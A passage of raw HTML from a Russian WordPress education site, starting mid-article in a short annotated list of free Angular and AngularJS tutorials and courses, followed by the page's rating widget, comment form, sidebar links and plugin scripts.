предпосылок нет.</p><h3>Руководство от Metanit</h3><p>Руководство «для чайников», основанное на официальном релизе. Реализация действительно удобная и понятная, обновление происходит периодически вместе с развитием Angular. Кроме того, авторы периодически отвечают на насущные вопросы, так что обязательно добавьте эту страницу в закладки, если хотите связать будущую профессию с JavaScript.</p><h3>Официальный русский CookBook</h3><p>Но конечно же, если браться за обучение, то официальный релиз рано или поздно придется изучить от корки до корки. Для начала ознакомьтесь с русской версией, потом, когда знания осядут в подкорке, повторите с оригинальной версией.</p><h3>Year Of Moo</h3><p>Понемногу переходим к англоязычной части. Для начала — очень хорошее руководство по базовым понятиям Angular. Помимо теории при помощи данного онлайн-учебника вы немного познакомитесь со взаимодействием Angular с MooTools и jQuery. А с такими знаниями уже можно серьезно работать.</p><h3>Codecademy</h3><p>Достаточно подробный курс по фреймворку, затрагивающий всё те же базовые понятия начала работы, директив, контроллеров, модулей, фильтров и т.д. Обучение идет через практические навыки, что вынуждает периодически обращаться к другим туториалам из сегодняшнего списка.</p><h3>Tutorialspoint</h3><p>Для наших постоянных читателей данный ресурс давно знаком. Здесь можно найти обучалку на английском языке почти по любой дисциплине. Вот и под ссылкой в заголовке скрывается близкое к официальному руководство по AngularJS, а здесь по Angular 2.</p><h3>От новичка к эксперту за 7 шагов</h3><p>Портал Ng Newsletter содержит тонны информации по Angular, но для новичка самая полезная — курс «from beginner to expert in 7 steps series». По правде говоря, экспертом на основе этого курса вы не станете, но пробелов в базовых вещах остаться не должно. Для экспертов — подпишитесь на их рассылки.</p><h3>AngularJS за 60 минут</h3><p>На Youtube вы без особого труда найдете видеоурок Дэна Уалина «AngularJS in 60 minutes». Под ссылкой спрятано PDF копия со слайдами и текстом. Будет полезно, кто не очень хорошо пока освоил английский язык.</p><h3>Shaping Up With Angular</h3><p>Закончим на сегодня одним из лучших комплексных курсов по AngularJS, из тех, что вы сможете пройти, не потратив ни копейки. 5 разделов, 12 коротких видеоуроков и 27 соревновательных заданий. Выполните все — получите 6 памятных бейджиков отличия, которые всегда можно предъявить в качестве подтверждения прохождения курса.</p><div class="flat_pm_end"></div></div></article><div class="post-meta"><div class="post-rating"><div class="post-rating__title">Оценка статьи:</div><div id="post-ratings-2570" class="post-ratings" data-nonce="33a0e8c591"><noscript><img src="https://strong-stuff.ru/wp-content/plugins/wp-postratings/images/stars_crystal/rating_off.gif" alt="1 звезда" title="1 звезда" onmouseover="current_rating(2570, 1, '1 звезда');" onmouseout="ratings_off(0, 0, 0);" onclick="rate_post();" onkeypress="rate_post();" style="cursor: pointer; border: 0px;" /></noscript><img class="lazyload" id="rating_2570_1" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20%20%22%3E%3C/svg%3E' data-src="https://strong-stuff.ru/wp-content/plugins/wp-postratings/images/stars_crystal/rating_off.gif" alt="1 звезда" title="1 звезда" onmouseover="current_rating(2570, 1, '1 звезда');" onmouseout="ratings_off(0, 0, 0);" onclick="rate_post();" onkeypress="rate_post();" style="cursor: pointer; border: 0px;" /><noscript><img src="https://strong-stuff.ru/wp-content/plugins/wp-postratings/images/stars_crystal/rating_off.gif" alt="2 звезды" title="2 звезды" onmouseover="current_rating(2570, 2, '2 звезды');" onmouseout="ratings_off(0, 0, 0);" onclick="rate_post();" onkeypress="rate_post();" style="cursor: pointer; border: 0px;" /></noscript><img class="lazyload" id="rating_2570_2" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20%20%22%3E%3C/svg%3E' data-src="https://strong-stuff.ru/wp-content/plugins/wp-postratings/images/stars_crystal/rating_off.gif" alt="2 звезды" title="2 звезды" onmouseover="current_rating(2570, 2, '2 звезды');" onmouseout="ratings_off(0, 0, 0);" onclick="rate_post();" onkeypress="rate_post();" style="cursor: pointer; border: 0px;" /><noscript><img src="https://strong-stuff.ru/wp-content/plugins/wp-postratings/images/stars_crystal/rating_off.gif" alt="3 звезды" title="3 звезды" onmouseover="current_rating(2570, 3, '3 звезды');" onmouseout="ratings_off(0, 0, 0);" onclick="rate_post();" onkeypress="rate_post();" style="cursor: pointer; border: 0px;" /></noscript><img class="lazyload" id="rating_2570_3" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20%20%22%3E%3C/svg%3E' data-src="https://strong-stuff.ru/wp-content/plugins/wp-postratings/images/stars_crystal/rating_off.gif" alt="3 звезды" title="3 звезды" onmouseover="current_rating(2570, 3, '3 звезды');" onmouseout="ratings_off(0, 0, 0);" onclick="rate_post();" onkeypress="rate_post();" style="cursor: pointer; border: 0px;" /><noscript><img src="https://strong-stuff.ru/wp-content/plugins/wp-postratings/images/stars_crystal/rating_off.gif" alt="4 звезды" title="4 звезды" onmouseover="current_rating(2570, 4, '4 звезды');" onmouseout="ratings_off(0, 0, 0);" onclick="rate_post();" onkeypress="rate_post();" style="cursor: pointer; border: 0px;" /></noscript><img class="lazyload" id="rating_2570_4" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20%20%22%3E%3C/svg%3E' data-src="https://strong-stuff.ru/wp-content/plugins/wp-postratings/images/stars_crystal/rating_off.gif" alt="4 звезды" title="4 звезды" onmouseover="current_rating(2570, 4, '4 звезды');" onmouseout="ratings_off(0, 0, 0);" onclick="rate_post();" onkeypress="rate_post();" style="cursor: pointer; border: 0px;" /><noscript><img src="https://strong-stuff.ru/wp-content/plugins/wp-postratings/images/stars_crystal/rating_off.gif" alt="5 звезд" title="5 звезд" onmouseover="current_rating(2570, 5, '5 звезд');" onmouseout="ratings_off(0, 0, 0);" onclick="rate_post();" onkeypress="rate_post();" style="cursor: pointer; border: 0px;" /></noscript><img class="lazyload" id="rating_2570_5" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20%20%22%3E%3C/svg%3E' data-src="https://strong-stuff.ru/wp-content/plugins/wp-postratings/images/stars_crystal/rating_off.gif" alt="5 звезд" title="5 звезд" onmouseover="current_rating(2570, 5, '5 звезд');" onmouseout="ratings_off(0, 0, 0);" onclick="rate_post();" onkeypress="rate_post();" style="cursor: pointer; border: 0px;" /></div><div id="post-ratings-2570-loading" class="post-ratings-loading"><noscript><img src="https://strong-stuff.ru/wp-content/plugins/wp-postratings/images/loading.gif" width="16" height="16" class="post-ratings-image" /></noscript><img src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%2016%2016%22%3E%3C/svg%3E' data-src="https://strong-stuff.ru/wp-content/plugins/wp-postratings/images/loading.gif" width="16" height="16" class="lazyload post-ratings-image" /> Загрузка...</div></div></div><meta itemprop="headline" content="Angular 6 уроки"><meta itemprop="author" content="Fermovod"><meta itemprop="datePublished" content="2020-05-30"><meta itemprop="dateModified" content="2020-05-30"> <a itemprop="url" href="https://strong-stuff.ru/uroki/angular-6-uroki.html" style="display:none">Angular 6 уроки</a> <a itemprop="mainEntityOfPage" href="https://strong-stuff.ru/uroki/angular-6-uroki.html" style="display:none">Ссылка на основную публикацию</a><div style="display: none;" itemprop="image" itemscope itemtype="https://schema.org/ImageObject"> <noscript><img itemprop="url" src="https://strong-stuff.ru/wp-content/cache/thumb/18/a5fc28e9f339718_320x200.png" alt="Angular 6 уроки"></noscript><img class="lazyload" itemprop="url" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20%20%22%3E%3C/svg%3E' data-src="https://strong-stuff.ru/wp-content/cache/thumb/18/a5fc28e9f339718_320x200.png" alt="Angular 6 уроки"><meta itemprop="width" content="320"><meta itemprop="height" content="200"></div><div style="display: none;" itemprop="publisher" itemscope itemtype="https://schema.org/Organization"><meta itemprop="name" content="Образование Онлайн"><div itemprop="logo" itemscope itemtype="https://schema.org/ImageObject"> <noscript><img itemprop="url" src="https://strong-stuff.ru/wp-content/uploads/2020/04/67667564.jpg" alt="Образование Онлайн"></noscript><img class="lazyload" itemprop="url" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20%20%22%3E%3C/svg%3E' data-src="https://strong-stuff.ru/wp-content/uploads/2020/04/67667564.jpg" alt="Образование Онлайн"></div></div></div><div class='yarpp-related'><div class="title">Похожие публикации</div><ul class="related"><li class="related__item"><div class="related__item-img"> <noscript><img src="https://strong-stuff.ru/wp-content/cache/thumb/54/2c67d498dbb7554_205x198.jpg" width="205" height="198" alt="Полиглот китайский язык 7 урок" class="aligncenter"></noscript><img src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20205%20198%22%3E%3C/svg%3E' data-src="https://strong-stuff.ru/wp-content/cache/thumb/54/2c67d498dbb7554_205x198.jpg" width="205" height="198" alt="Полиглот китайский язык 7 урок" class="lazyload aligncenter"></div> <a href="https://strong-stuff.ru/uroki/poliglot-kitajskij-yazyk-7-urok.html">Полиглот китайский язык 7 урок</a></li> <script id="true_loadmore" data-offset="1">var ajaxurl = 'https://strong-stuff.ru/wp-admin/admin-ajax.php';
var cat = '27';
var items = '4';</script> </ul></div><aside class="comments-block"><div class="wpdiscuz_top_clearing"></div><div id="comments" class="comments-area"><div id="respond" style="width: 0;height: 0;clear: both;margin: 0;padding: 0;"></div><h3 id="wc-comment-header"> Оставить комментарий</h3><div id="wpcomm" class="wpdiscuz_unauth wpd-default"><div class="wpdiscuz-form-top-bar"><div class="wpdiscuz-ftb-left"><div id="wc_show_hide_loggedin_username"></div></div><div class="wpd-clear"></div></div><div class="wc_social_plugin_wrapper"></div><div class="wc-form-wrapper wc-main-form-wrapper" id='wc-main-form-wrapper-0_0' ><div class="wpdiscuz-comment-message" style="display: block;"></div><form class="wc_comm_form wc_main_comm_form" method="post" enctype="multipart/form-data"><div class="wc-field-comment"><div class="wpdiscuz-item wc-field-textarea" ><div class="wpdiscuz-textarea-wrap "><div class="wc-field-avatararea"> <noscript><img alt='avatar' src='https://secure.gravatar.com/avatar/?s=40&d=mm&r=g' srcset='https://secure.gravatar.com/avatar/?s=80&d=mm&r=g 2x' class='avatar avatar-40 photo avatar-default' height='40' width='40' /></noscript><img alt='avatar' src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%2040%2040%22%3E%3C/svg%3E' data-src='https://secure.gravatar.com/avatar/?s=40&d=mm&r=g' data-srcset='https://secure.gravatar.com/avatar/?s=80&d=mm&r=g 2x' class='lazyload avatar avatar-40 photo avatar-default' height='40' width='40' /></div><textarea id="wc-textarea-0_0" placeholder="Начать обсуждение..." required name="wc_comment" class="wc_comment wpd-field"></textarea></div></div><div class="clearfix"></div></div><div class="wc-form-footer" style="display: none;"><div class="wpd-form-row"><div class="wpd-form-col-left"><div class="wpdiscuz-item wc_name-wrapper wpd-has-icon"><div class="wpd-field-icon"><i class="fas fa-user"></i></div> <input value="" required="required" class="wc_name wpd-field" type="text" name="wc_name" placeholder="Имя*" maxlength="50" pattern=".{3,50}" title=""></div><div class="wpdiscuz-item wc_email-wrapper wpd-has-icon"><div class="wpd-field-icon"><i class="fas fa-at"></i></div> <input value="" required="required" class="wc_email wpd-field" type="email" name="wc_email" placeholder="Email*"></div><div class="wpdiscuz-item wc_website-wrapper wpd-has-icon"><div class="wpd-field-icon"><i class="fas fa-link"></i></div> <input value="" class="wc_website wpd-field" type="text" name="wc_website" placeholder="Веб-сайт"></div></div><div class="wpd-form-col-right"><div class="wc-field-captcha wpdiscuz-item wc_captcha-wrapper"><div class="wc-bin-captcha"> <i class="fas fa-shield-alt"></i>Эта форма комментариев находится по защитой антиспам</div></div><div class="wc-field-submit"> <label class="wpd_label" title="Сообщать о всех новых ответах на мои комментарии"> <input id="wc_notification_new_comment-0_0" class="wc_notification_new_comment-0_0 wpd_label__checkbox" value="comment" type="checkbox" name="wpdiscuz_notification_type" /> <span class="wpd_label__text"> <span class="wpd_label__check"> <i class="fas fa-bell wpdicon wpdicon-on"></i> <i class="fas fa-bell-slash wpdicon wpdicon-off"></i> </span> </span> </label> <input class="wc_comm_submit wc_not_clicked button alt" type="submit" name="submit" value="Оставить комментарий"></div></div><div class="clearfix"></div></div></div><div class="clearfix"></div> <input type="hidden" class="wpdiscuz_unique_id" value="0_0" name="wpdiscuz_unique_id"></form></div><div id = "wpdiscuz_hidden_secondary_form" style = "display: none;"><div class="wc-form-wrapper wc-secondary-form-wrapper" id='wc-secondary-form-wrapper-wpdiscuzuniqueid' style='display: none;' ><div class="wpdiscuz-comment-message" style="display: block;"></div><div class="wc-secondary-forms-social-content"></div><div class="clearfix"></div><form class="wc_comm_form wc-secondary-form-wrapper" method="post" enctype="multipart/form-data"><div class="wc-field-comment"><div class="wpdiscuz-item wc-field-textarea" ><div class="wpdiscuz-textarea-wrap "><div class="wc-field-avatararea"> <noscript><img alt='avatar' src='https://secure.gravatar.com/avatar/?s=48&d=mm&r=g' srcset='https://secure.gravatar.com/avatar/?s=96&d=mm&r=g 2x' class='avatar avatar-48 photo avatar-default' height='48' width='48' /></noscript><img alt='avatar' src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%2048%2048%22%3E%3C/svg%3E' data-src='https://secure.gravatar.com/avatar/?s=48&d=mm&r=g' data-srcset='https://secure.gravatar.com/avatar/?s=96&d=mm&r=g 2x' class='lazyload avatar avatar-48 photo avatar-default' height='48' width='48' /></div><textarea id="wc-textarea-wpdiscuzuniqueid" placeholder="Присоединиться к обсуждению..." required name="wc_comment" class="wc_comment wpd-field"></textarea></div></div><div class="clearfix"></div></div><div class="wc-form-footer" style="display: none;"><div class="wpd-form-row"><div class="wpd-form-col-left"><div class="wpdiscuz-item wc_name-wrapper wpd-has-icon"><div class="wpd-field-icon"><i class="fas fa-user"></i></div> <input value="" required="required" class="wc_name wpd-field" type="text" name="wc_name" placeholder="Имя*" maxlength="50" pattern=".{3,50}" title=""></div><div class="wpdiscuz-item wc_email-wrapper wpd-has-icon"><div class="wpd-field-icon"><i class="fas fa-at"></i></div> <input value="" required="required" class="wc_email wpd-field" type="email" name="wc_email" placeholder="Email*"></div><div class="wpdiscuz-item wc_website-wrapper wpd-has-icon"><div class="wpd-field-icon"><i class="fas fa-link"></i></div> <input value="" class="wc_website wpd-field" type="text" name="wc_website" placeholder="Веб-сайт"></div></div><div class="wpd-form-col-right"><div class="wc-field-captcha wpdiscuz-item wc_captcha-wrapper"><div class="wc-bin-captcha"> <i class="fas fa-shield-alt"></i>Эта форма комментариев находится по защитой антиспам</div></div><div class="wc-field-submit"> <label class="wpd_label" title="Сообщать о всех новых ответах на мои комментарии"> <input id="wc_notification_new_comment-wpdiscuzuniqueid" class="wc_notification_new_comment-wpdiscuzuniqueid wpd_label__checkbox" value="comment" type="checkbox" name="wpdiscuz_notification_type" /> <span class="wpd_label__text"> <span class="wpd_label__check"> <i class="fas fa-bell wpdicon wpdicon-on"></i> <i class="fas fa-bell-slash wpdicon wpdicon-off"></i> </span> </span> </label> <input class="wc_comm_submit wc_not_clicked button alt" type="submit" name="submit" value="Оставить комментарий"></div></div><div class="clearfix"></div></div></div><div class="clearfix"></div> <input type="hidden" class="wpdiscuz_unique_id" value="wpdiscuzuniqueid" name="wpdiscuz_unique_id"></form></div></div><div class="wpdiscuz-front-actions"><div class="wpdiscuz-sbs-wrap"> <span><i class="far fa-envelope" aria-hidden="true"></i> Подписаться <i class="fas fa-caret-down" aria-hidden="true"></i></span></div><div class="clearfix"></div></div><div class="wpdiscuz-subscribe-bar wpdiscuz-hidden"><form action="https://strong-stuff.ru/wp-admin/admin-ajax.php?action=addSubscription" method="post" id="wpdiscuz-subscribe-form"><div class="wpdiscuz-subscribe-form-intro">Уведомление о</div><div class="wpdiscuz-subscribe-form-option" style="width:40%;"> <select class="wpdiscuz_select" name="wpdiscuzSubscriptionType" ><option value="post">новые последующие комментарии</option><option value="all_comment" >новые ответы на мои комментарии</option> </select></div><div class="wpdiscuz-item wpdiscuz-subscribe-form-email"> <input class="email" type="email" name="wpdiscuzSubscriptionEmail" required="required" value="" placeholder="Email"/></div><div class="wpdiscuz-subscribe-form-button"> <input id="wpdiscuz_subscription_button" type="submit" value="›" name="wpdiscuz_subscription_button" /></div> <input type="hidden" id="wpdiscuz_subscribe_form_nonce" name="wpdiscuz_subscribe_form_nonce" value="e52a2fffde" /><input type="hidden" name="_wp_http_referer" value="/uroki/angular-6-uroki.html" /> <input type="hidden" value="2570" name="wpdiscuzSubscriptionPostId" /></form><div class="wpdiscuz_clear"></div></div><div id="wcThreadWrapper" class="wc-thread-wrapper"><div class="wpdiscuz-comment-pagination"></div></div><div class="wpdiscuz_clear"></div></div></div><div id="wpdiscuz-loading-bar" class="wpdiscuz-loading-bar wpdiscuz-loading-bar-unauth"></div></aside></main><aside class="sidebar sidebar_midle"><div class="sidebar-menu"><div class="title">Рубрики</div><ul><li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-home menu-item-331"><a href="https://strong-stuff.ru/">Главная</a></li><li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-has-children menu-item-4225"><a href="https://strong-stuff.ru/obrazovanie">Образование</a><ul class="sub-menu"><li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4226"><a href="https://strong-stuff.ru/programmirovanie">Программирование</a></li><li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4230"><a href="https://strong-stuff.ru/dizajn">Дизайн</a></li><li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4222"><a href="https://strong-stuff.ru/marketing">Маркетинг</a></li><li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4224"><a href="https://strong-stuff.ru/menedzhment">Менеджмент</a></li></ul></li><li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4219"><a href="https://strong-stuff.ru/video">Видео</a></li><li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-has-children menu-item-4229"><a href="https://strong-stuff.ru/formy-obucheniya">Формы обучения</a><ul class="sub-menu"><li class="menu-item menu-item-type-taxonomy menu-item-object-category current-post-ancestor current-menu-parent current-post-parent menu-item-4228"><a href="https://strong-stuff.ru/uroki">Уроки</a></li><li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4227"><a href="https://strong-stuff.ru/treningi">Тренинги</a></li><li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4223"><a href="https://strong-stuff.ru/master-klassy">Мастер классы</a></li><li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4221"><a href="https://strong-stuff.ru/kursy">Курсы</a></li><li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4218"><a href="https://strong-stuff.ru/vebinary">Вебинары</a></li></ul></li><li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4220"><a href="https://strong-stuff.ru/knigi">Книги</a></li><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-300"><a href="https://strong-stuff.ru/vopros-otvet">Вопрос-Ответ</a></li></ul></div><div class="section-posts-box section"><div class="title">Популярные статьи</div><div class="section-posts"><div class="section-posts__item"> <noscript><img src="https://strong-stuff.ru/wp-content/cache/thumb/7d/98dcd0b83ab637d_300x180.jpg" width="300" height="180" alt="Уроки шахмат для 3 разряда" class="section-posts__item-img"></noscript><img src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20300%20180%22%3E%3C/svg%3E' data-src="https://strong-stuff.ru/wp-content/cache/thumb/7d/98dcd0b83ab637d_300x180.jpg" width="300" height="180" alt="Уроки шахмат для 3 разряда" class="lazyload section-posts__item-img"><div class="section-posts__item-title"> <a href="https://strong-stuff.ru/uroki/uroki-shahmat-dlya-3-razryada.html">Уроки шахмат для 3 разряда</a></div><div class="section-posts__item-text"> Уроки шахмат для 3 разряда 3 разряд по шахматам: как...</div><div class="post-info section-posts__item-info"><div class="post-info__comment">0</div> <time class="post-info__time post-info__time_popular" datetime="2019-12-07">07.12.2019</time></div></div><div class="section-posts__item"> <noscript><img src="https://strong-stuff.ru/wp-content/cache/thumb/91/2df9b3b88db0d91_300x180.png" width="300" height="180" alt="Unity 2d уроки" class="section-posts__item-img"></noscript><img src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20300%20180%22%3E%3C/svg%3E' data-src="https://strong-stuff.ru/wp-content/cache/thumb/91/2df9b3b88db0d91_300x180.png" width="300" height="180" alt="Unity 2d уроки" class="lazyload section-posts__item-img"><div class="section-posts__item-title"> <a href="https://strong-stuff.ru/uroki/unity-2d-uroki.html">Unity 2d уроки</a></div><div class="section-posts__item-text"> Unity 2d уроки Unity для 2D Большинство разработчиков 2D создают,...</div><div class="post-info section-posts__item-info"><div class="post-info__comment">0</div> <time class="post-info__time post-info__time_popular" datetime="2020-06-01">01.06.2020</time></div></div><div class="section-posts__item"> <noscript><img src="https://strong-stuff.ru/wp-content/cache/thumb/1e/f8acb2b270a5d1e_300x180.jpg" width="300" height="180" alt="Xamarin forms уроки" class="section-posts__item-img"></noscript><img src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20300%20180%22%3E%3C/svg%3E' data-src="https://strong-stuff.ru/wp-content/cache/thumb/1e/f8acb2b270a5d1e_300x180.jpg" width="300" height="180" alt="Xamarin forms уроки" class="lazyload section-posts__item-img"><div class="section-posts__item-title"> <a href="https://strong-stuff.ru/uroki/xamarin-forms-uroki.html">Xamarin forms уроки</a></div><div class="section-posts__item-text"> Xamarin forms уроки Xamarin forms уроки Пытаясь вникнуть в какую-либо...</div><div class="post-info section-posts__item-info"><div class="post-info__comment">0</div> <time class="post-info__time post-info__time_popular" datetime="2020-05-01">01.05.2020</time></div></div></div></div><div class="widget_text section section_widget widget_custom_html"><div class="textwidget custom-html-widget"><div class="dem-poll-shortcode"></div></div></div><div class="section section_widget widget_recentpost_morkovin_widget"><div class="title">Свежие публикации</div><ul><li class="section-posts__item section-posts__item_margin"><div class="section-posts__item-title"><a href="https://strong-stuff.ru/kursy/kursy-rezby-po-derevu-v-moskve-besplatno.html">Курсы резьбы по дереву в москве бесплатно</a></div><div class="post-info section-posts__item-info"><div class="post-info__comment">0</div> <time class="post-info__time post-info__time_popular" datetime="2020-06-01">01.06.2020</time></div></li><li class="section-posts__item section-posts__item_margin"><div class="section-posts__item-title"><a href="https://strong-stuff.ru/kursy/kursy-zumba-instruktorov.html">Курсы зумба инструкторов</a></div><div class="post-info section-posts__item-info"><div class="post-info__comment">0</div> <time class="post-info__time post-info__time_popular" datetime="2020-06-01">01.06.2020</time></div></li><li class="section-posts__item section-posts__item_margin"><div class="section-posts__item-title"><a href="https://strong-stuff.ru/kursy/goszakupki-kurs-skachat.html">Госзакупки курс скачать</a></div><div class="post-info section-posts__item-info"><div class="post-info__comment">0</div> <time class="post-info__time post-info__time_popular" datetime="2020-06-01">01.06.2020</time></div></li><li class="section-posts__item section-posts__item_margin"><div class="section-posts__item-title"><a href="https://strong-stuff.ru/obrazovanie/professii-s-obucheniem-na-rabochem-meste.html">Профессии с обучением на рабочем месте</a></div><div class="post-info section-posts__item-info"><div class="post-info__comment">0</div> <time class="post-info__time post-info__time_popular" datetime="2020-06-01">01.06.2020</time></div></li><li class="section-posts__item section-posts__item_margin"><div class="section-posts__item-title"><a href="https://strong-stuff.ru/uroki/italyanskij-s-dmitriem-petrovym-8-urok.html">Итальянский с дмитрием петровым 8 урок</a></div><div class="post-info section-posts__item-info"><div class="post-info__comment">0</div> <time class="post-info__time post-info__time_popular" datetime="2020-06-01">01.06.2020</time></div></li><li class="section-posts__item section-posts__item_margin"><div class="section-posts__item-title"><a href="https://strong-stuff.ru/uroki/unity-2d-uroki.html">Unity 2d уроки</a></div><div class="post-info section-posts__item-info"><div class="post-info__comment">0</div> <time class="post-info__time post-info__time_popular" datetime="2020-06-01">01.06.2020</time></div></li></ul></div></aside></div></div><footer class="footer" id="footer"> <a target="_blank" rel="nofollow" href="https://ad.admitad.com/g/253d5b170fcd070532c4ea9a5e8e92/?i=4"><noscript><img width="320" height="50" border="0" src="https://ad.admitad.com/b/253d5b170fcd070532c4ea9a5e8e92/" alt="ВсеИнструменты"/></noscript><img class="lazyload" width="320" height="50" border="0" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20320%2050%22%3E%3C/svg%3E' data-src="https://ad.admitad.com/b/253d5b170fcd070532c4ea9a5e8e92/" alt="ВсеИнструменты"/></a> <a target="_blank" rel="nofollow" href="https://ad.admitad.com/g/71f35w2ahxcd070532c49ea6f4077f/?i=4"> <noscript><img width="320" height="50" border="0" src="https://ad.admitad.com/b/71f35w2ahxcd070532c49ea6f4077f/" alt="220 Вольт"/></noscript><img class="lazyload" width="320" height="50" border="0" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20320%2050%22%3E%3C/svg%3E' data-src="https://ad.admitad.com/b/71f35w2ahxcd070532c49ea6f4077f/" alt="220 Вольт"/></a><nav class="footer-nav"><ul><li id="menu-item-188" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-privacy-policy menu-item-188"><a href="https://strong-stuff.ru/pravoobladatelyam">Правообладателям</a></li><li id="menu-item-177" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-177"><a href="https://strong-stuff.ru/sample-page">О нас</a></li><li id="menu-item-57" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-57"><a href="https://strong-stuff.ru/sitemap">Карта сайта</a></li></ul></nav><div class="footer-bottom"><div class="copy">© 2023 Все права защищены. Копирование материалов разрешено только при наличии активной обратной ссылки</div><div class="social-icon"> <a href='#' target='_blank' class='ok'>ok</a><a href='#' target='_blank' class='yt'>yt</a><a href='#' target='_blank' class='fb'>fb</a><a href='#' target='_blank' class='gp'>gp</a><a href='#' target='_blank' class='tw'>tw</a><a href='#' target='_blank' class='in'>in</a><a href='#' target='_blank' class='vk'>vk</a></div></div><div style="display:none;"> <noindex> <noscript><img src="https://ad.admitad.com/g/bef1f6187acd070532c4ea9a5e8e92/" rel="nofollow" width="1" height="1" style="display:none;"></noscript><img class="lazyload" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%201%201%22%3E%3C/svg%3E' data-src="https://ad.admitad.com/g/bef1f6187acd070532c4ea9a5e8e92/" rel="nofollow" width="1" height="1" style="display:none;"> <noscript><img src="https://ad.admitad.com/g/98a1f7be39cd070532c49ea6f4077f/" rel="nofollow" width="1" height="1" style="display:none;"></noscript><img class="lazyload" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%201%201%22%3E%3C/svg%3E' data-src="https://ad.admitad.com/g/98a1f7be39cd070532c49ea6f4077f/" rel="nofollow" width="1" height="1" style="display:none;"> <noscript><img src="https://beget.com/p43243" rel="nofollow" width="1" height="1" style="display:none;"></noscript><img class="lazyload" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%201%201%22%3E%3C/svg%3E' data-src="https://beget.com/p43243" rel="nofollow" width="1" height="1" style="display:none;"> <noscript><img src="http://got.by/3wb5yz" rel="nofollow" width="1" height="1" style="display:none;"></noscript><img class="lazyload" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%201%201%22%3E%3C/svg%3E' data-src="http://got.by/3wb5yz" rel="nofollow" width="1" height="1" style="display:none;"> </noindex></div></footer></div> <a id='wpdUserContentInfoAnchor' style='display:none;' rel='#wpdUserContentInfo' data-wpd-lity>wpDiscuz</a><div id='wpdUserContentInfo' style='overflow:auto;background:#FDFDF6;padding:20px;width:600px;max-width:100%;border-radius:6px;' class='lity-hide'></div><style>.lazyload,.lazyloading{opacity:0;}.lazyloaded{opacity:1;transition:opacity 300ms;}</style><noscript><style>.lazyload{display:none;}</style></noscript><script data-noptimize="1">window.lazySizesConfig=window.lazySizesConfig||{};window.lazySizesConfig.loadMode=1;</script><script async data-noptimize="1" src='https://strong-stuff.ru/wp-content/plugins/autoptimize/classes/external/js/lazysizes.min.js?ao_version=2.6.2'></script><link rel='stylesheet' id='testme-style-css-css' href='https://strong-stuff.ru/wp-content/plugins/wp_testme/testme_style.css?ver=1.0.1' type='text/css' media='all' /> <script type='text/javascript'>var wpcf7 = {"apiSettings":{"root":"https:\/\/strong-stuff.ru\/wp-json\/contact-form-7\/v1","namespace":"contact-form-7\/v1"},"cached":"1"};</script> <script type='text/javascript'>var tocplus = {"smooth_scroll":"1","smooth_scroll_offset":"50"};</script> <script type='text/javascript'>var ratingsL10n = {"plugin_url":"https:\/\/strong-stuff.ru\/wp-content\/plugins\/wp-postratings","ajax_url":"https:\/\/strong-stuff.ru\/wp-admin\/admin-ajax.php","text_wait":"\u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u043d\u0435 \u0433\u043e\u043b\u043e\u0441\u0443\u0439\u0442\u0435 \u0437\u0430 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e.","image":"stars_crystal","image_ext":"gif","max":"5","show_loading":"1","show_fading":"1","custom":"0"};
